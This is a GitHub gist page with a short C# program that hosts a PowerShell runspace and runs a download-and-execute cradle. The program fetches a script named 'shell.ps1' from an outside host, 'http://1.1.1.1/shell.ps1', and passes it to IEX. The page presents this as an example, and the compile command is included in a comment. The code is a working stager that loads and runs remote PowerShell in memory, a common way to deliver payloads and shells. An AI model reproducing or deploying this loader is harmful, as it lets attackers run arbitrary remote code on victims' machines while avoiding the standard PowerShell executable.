Skip to content

Instantly share code, notes, and snippets.

@FrankSpierings
Created April 29, 2021 07:20
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save FrankSpierings/958a590afb7341e3af4702bae8c1e65c to your computer and use it in GitHub Desktop.
Save FrankSpierings/958a590afb7341e3af4702bae8c1e65c to your computer and use it in GitHub Desktop.
PowerShell Host example. Obtaining its commands from a remote location.
// c:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe pshost.cs /r:c:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using PowerShell = System.Management.Automation.PowerShell;
internal class InfantAnnihilator
{
private static void Main(string[] args)
{
InitialSessionState iss = InitialSessionState.CreateDefault();
using (Runspace rs = RunspaceFactory.CreateRunspace(iss))
{
rs.Open();
using (PowerShell powershell = PowerShell.Create())
{
string externalscript = "http://1.1.1.1/shell.ps1";
Console.WriteLine(String.Format("Downloading external script: {0}", externalscript));
powershell.Runspace = rs;
string script = String.Format("(New-Object System.Net.WebClient).DownloadString(\"{0}\")| IEX", externalscript);
powershell.AddScript(script);
powershell.Invoke(script);
}
rs.Close();
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment